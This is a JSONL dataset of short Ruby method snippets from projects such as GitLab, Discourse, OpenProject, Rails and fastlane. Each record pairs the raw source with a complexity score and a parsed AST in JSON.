{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/member_helper.rb","start_line":52,"raw_source":"def user_ids_for_new_members(member_params)\n    invite_new_users possibly_separated_ids_for_entity(member_params, :user), send_notification: @send_notification\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_ids_for_new_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member_params\"]}]},{\"type\":\"send\",\"children\":[null,\"invite_new_users\",{\"type\":\"send\",\"children\":[null,\"possibly_separated_ids_for_entity\",{\"type\":\"lvar\",\"children\":[\"member_params\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_notification\"]},{\"type\":\"ivar\",\"children\":[\"@send_notification\"]}]}]}]}]}","id":"8234ad77-1cf8-485b-8c8a-fcaa28ebbe1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/scheduled.rb","start_line":22,"raw_source":"def initialize(container)\n        @config = container\n        @client = Sidekiq::Client.new(config: container)\n        @done = false\n        @lua_zpopbyscore_sha = nil\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"container\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"container\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@done\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@lua_zpopbyscore_sha\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"92ba030b-829f-43ed-8073-3bfebfb37e69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/personal_access_token.rb","start_line":57,"raw_source":"def personal_access_token_service\n        ::PersonalAccessTokens::RevokeService.new(current_user, token: revocable, source: source)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"personal_access_token_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PersonalAccessTokens\"]},\"RevokeService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"revocable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]}]}]}]}","id":"75f4e86f-1784-4306-97e5-2c6865923643"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/unique_name_finder.rb","start_line":7,"raw_source":"def initialize(shared_data)\n      @used_usernames_lower = shared_data.load(:usernames)\n      @used_group_names_lower = shared_data.load(:group_names)\n      @last_suffixes = {}\n\n      @fallback_username =\n        UserNameSuggester.sanitize_username(I18n.t(\"fallback_username\")).presence ||\n          UserNameSuggester::LAST_RESORT_USERNAME\n      @fallback_group_name = \"group\"\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shared_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@used_usernames_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_data\"]},\"load\",{\"type\":\"sym\",\"children\":[\"usernames\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@used_group_names_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_data\"]},\"load\",{\"type\":\"sym\",\"children\":[\"group_names\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_suffixes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@fallback_username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserNameSuggester\"]},\"sanitize_username\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"fallback_username\"]}]}]},\"presence\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserNameSuggester\"]},\"LAST_RESORT_USERNAME\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fallback_group_name\",{\"type\":\"str\",\"children\":[\"group\"]}]}]}]}","id":"85c335d3-a853-4e08-91cb-c2df33b9b10e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/concerns/user_status_tooltip.rb","start_line":25,"raw_source":"def status_loaded?\n      object.association(:status).loaded?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"status_loaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"association\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"loaded?\"]}]}","id":"dd628e3a-5c6f-4cce-a1cd-41fa474cd698"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/test/test_helper.rb","start_line":79,"raw_source":"def with_service(service_name)\n      previous_service = ActiveStorage::Blob.service\n      ActiveStorage::Blob.service = service_name ? ActiveStorage::Blob.services.fetch(service_name) : nil\n\n      yield\n    ensure\n      ActiveStorage::Blob.service = previous_service\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_name\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"service=\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"services\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"service_name\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"service=\",{\"type\":\"lvar\",\"children\":[\"previous_service\"]}]}]}]}","id":"6c534ab4-6ade-4ae8-9a9d-9106df9fd8dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/diff_viewer/base.rb","start_line":88,"raw_source":"def render_error\n      if too_large?\n        :too_large\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_large?\"]},{\"type\":\"sym\",\"children\":[\"too_large\"]},null]}]}","id":"1a28c4ed-efde-4290-9f6c-c0ea580ca187"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages_deployment.rb","start_line":54,"raw_source":"def self.latest_pipeline_id\n    Ci::Build.id_in(pluck(:ci_build_id)).maximum(:commit_id)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"latest_pipeline_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Build\"]},\"id_in\",{\"type\":\"send\",\"children\":[null,\"pluck\",{\"type\":\"sym\",\"children\":[\"ci_build_id\"]}]}]},\"maximum\",{\"type\":\"sym\",\"children\":[\"commit_id\"]}]}]}","id":"41235576-b842-4226-b763-11461b2638bf"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/serialization_test.rb","start_line":103,"raw_source":"def test_include_option_with_singular_association\n    expected = { \"name\" => \"David\", \"gender\" => \"male\", \"email\" => \"david@example.com\",\n                \"address\" => { \"street\" => \"123 Lane\", \"city\" => \"Springfield\", \"state\" => \"CA\", \"zip\" => 11111 } }\n    assert_equal expected, @user.serializable_hash(include: :address)\n  end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_option_with_singular_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gender\"]},{\"type\":\"str\",\"children\":[\"male\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"david@example.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"street\"]},{\"type\":\"str\",\"children\":[\"123 Lane\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"city\"]},{\"type\":\"str\",\"children\":[\"Springfield\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"CA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"zip\"]},{\"type\":\"int\",\"children\":[11111]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"serializable_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"sym\",\"children\":[\"address\"]}]}]}]}]}]}]}","id":"a4928962-3611-4de3-9490-4e8466e32bd6"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/welcome_banner.rb","start_line":18,"raw_source":"def has_anonymous_title?\n        has_css?(\n          \".welcome-banner .welcome-banner__title\",\n          text: I18n.t(\"js.welcome_banner.header.anonymous_members\", site_name: SiteSetting.title),\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_anonymous_title?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".welcome-banner .welcome-banner__title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.welcome_banner.header.anonymous_members\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"site_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"title\"]}]}]}]}]}]}]}]}","id":"e75c7fb5-8c69-42a2-bce2-ba6fd20ca5ff"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/autocompleter/ng_select_autocomplete_helpers.rb","start_line":158,"raw_source":"def expect_current_autocompleter_value(element, value)\n      expect(element).to have_css(\".ng-value .ng-value-label\", text: value, wait: 10)\n    end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_current_autocompleter_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"element\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".ng-value .ng-value-label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"6024f2a6-89a3-4f13-9f5c-a621e7935f45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_contexts/internal_events_cli_shared_context.rb","start_line":41,"raw_source":"def queue_cli_inputs(keystrokes)\n    # # Debugging tip #2 -- Uncomment me to pause execution after test setup and separately run the CLI manually!\n    # binding.pry\n    prompt.input << keystrokes.join('')\n    prompt.input.rewind\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_cli_inputs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keystrokes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt\"]},\"input\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keystrokes\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt\"]},\"input\"]},\"rewind\"]}]}]}","id":"f8debb23-f373-4543-860e-6fe521ba6a56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/initialize_big_int_conversion.rb","start_line":193,"raw_source":"def update_model(table_name, columns)\n      class_name = Gitlab::Database::Dictionary.entries.find_by_table_name(table_name).classes.first.split(\"::\").last\n      file_path = model_path(table_name)\n\n      ignore_columns = columns.map do |column|\n        \"ignore_column :#{column}_convert_to_bigint, remove_with: '#{n_3_milestone.version}', \" \\\n          \"remove_after: '#{n_2_milestone.date}'\"\n      end\n\n      new_content = <<~RUBY\n        #{ignore_columns.join(\"\\n\")}\n      RUBY\n\n      insert_after_class_definition(file_path, class_name, new_content)\n      ::Gitlab::Housekeeper::Shell.execute('rubocop', '-a', file_path)\n\n      file_path\n    end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"Dictionary\"]},\"entries\"]},\"find_by_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"classes\"]},\"first\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[null,\"model_path\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ignore_columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ignore_column :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"str\",\"children\":[\"_convert_to_bigint, remove_with: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"n_3_milestone\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\"', \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_after: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"n_2_milestone\"]},\"date\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_columns\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"insert_after_class_definition\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]},{\"type\":\"lvar\",\"children\":[\"new_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Housekeeper\"]},\"Shell\"]},\"execute\",{\"type\":\"str\",\"children\":[\"rubocop\"]},{\"type\":\"str\",\"children\":[\"-a\"]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}","id":"4101cfbb-f943-436b-9ebd-dba40fd39e57"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/test_parser.rb","start_line":99,"raw_source":"def initialize(path, config = {})\n      path = File.expand_path(path)\n      UI.user_error!(\"File not found at path '#{path}'\") unless File.exist?(path)\n\n      if File.directory?(path) && path.end_with?(\".xcresult\")\n        parser = XCResult::Helper.supports_xcode16_xcresulttool? && !config[:force_legacy_xcresulttool] ? XCResult::Parser : LegacyXCResult::Parser\n        self.data = parser.parse_xcresult(path: path, output_remove_retry_attempts: config[:output_remove_retry_attempts])\n      else\n        file_content = File.read(path)\n        raw_json = Plist.parse_xml(file_content)\n\n        return if raw_json[\"FormatVersion\"].to_s.length.zero? # maybe that's a useless plist file\n\n        PlistTestSummaryParser.ensure_file_valid!(raw_json)\n        self.data = PlistTestSummaryParser.parse_content(raw_json, config[:xcpretty_naming])\n      end\n\n      self.number_of_tests = 0\n      self.number_of_failures = 0\n      self.number_of_tests_excluding_retries = 0\n      self.number_of_failures_excluding_retries = 0\n      self.number_of_retries = 0\n      self.number_of_skipped = 0\n      self.data.each do |thing|\n        self.number_of_tests += thing[:number_of_tests].to_i\n        self.number_of_failures += thing[:number_of_failures].to_i\n        self.number_of_tests_excluding_retries += thing[:number_of_tests_excluding_retries].to_i\n        self.number_of_failures_excluding_retries += thing[:number_of_failures_excluding_retries].to_i\n        self.number_of_retries += thing[:number_of_retries].to_i\n        self.number_of_skipped += thing[:number_of_skipped].to_i\n      end\n    end","complexity_score":63.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File not found at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".xcresult\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XCResult\"]},\"Helper\"]},\"supports_xcode16_xcresulttool?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force_legacy_xcresulttool\"]}]},\"!\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XCResult\"]},\"Parser\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LegacyXCResult\"]},\"Parser\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse_xcresult\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_remove_retry_attempts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_remove_retry_attempts\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"file_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FormatVersion\"]}]},\"to_s\"]},\"length\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlistTestSummaryParser\"]},\"ensure_file_valid!\",{\"type\":\"lvar\",\"children\":[\"raw_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlistTestSummaryParser\"]},\"parse_content\",{\"type\":\"lvar\",\"children\":[\"raw_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xcpretty_naming\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_tests=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_failures=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_tests_excluding_retries=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_failures_excluding_retries=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_retries=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_skipped=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_tests\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_tests\"]}]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_failures\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_failures\"]}]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_tests_excluding_retries\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_tests_excluding_retries\"]}]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_failures_excluding_retries\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_failures_excluding_retries\"]}]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_retries\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_retries\"]}]},\"to_i\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"number_of_skipped\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_skipped\"]}]},\"to_i\"]}]}]}]}]}]}","id":"fa0ec6a7-d1e8-4931-8e11-07c8e4abc783"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/base/progress_step_executor.rb","start_line":81,"raw_source":"def with_progressbar\n      ::Migrations::ExtendedProgressBar\n        .new(max_progress: @max_progress)\n        .run { |progressbar| yield progressbar }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_progressbar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"ExtendedProgressBar\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_progress\"]},{\"type\":\"ivar\",\"children\":[\"@max_progress\"]}]}]}]},\"run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"progressbar\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progressbar\"]}]}]}]}","id":"dca10a7d-5ac4-45c1-b9ae-54c8be62fe89"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/commands/set_permissions_command.rb","start_line":40,"raw_source":"def create? = permission_ids.empty? && user_ids.any?","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permission_ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_ids\"]},\"any?\"]}]}]}","id":"94b8a5ec-b1ed-41c7-b457-2d396e6592b4"}
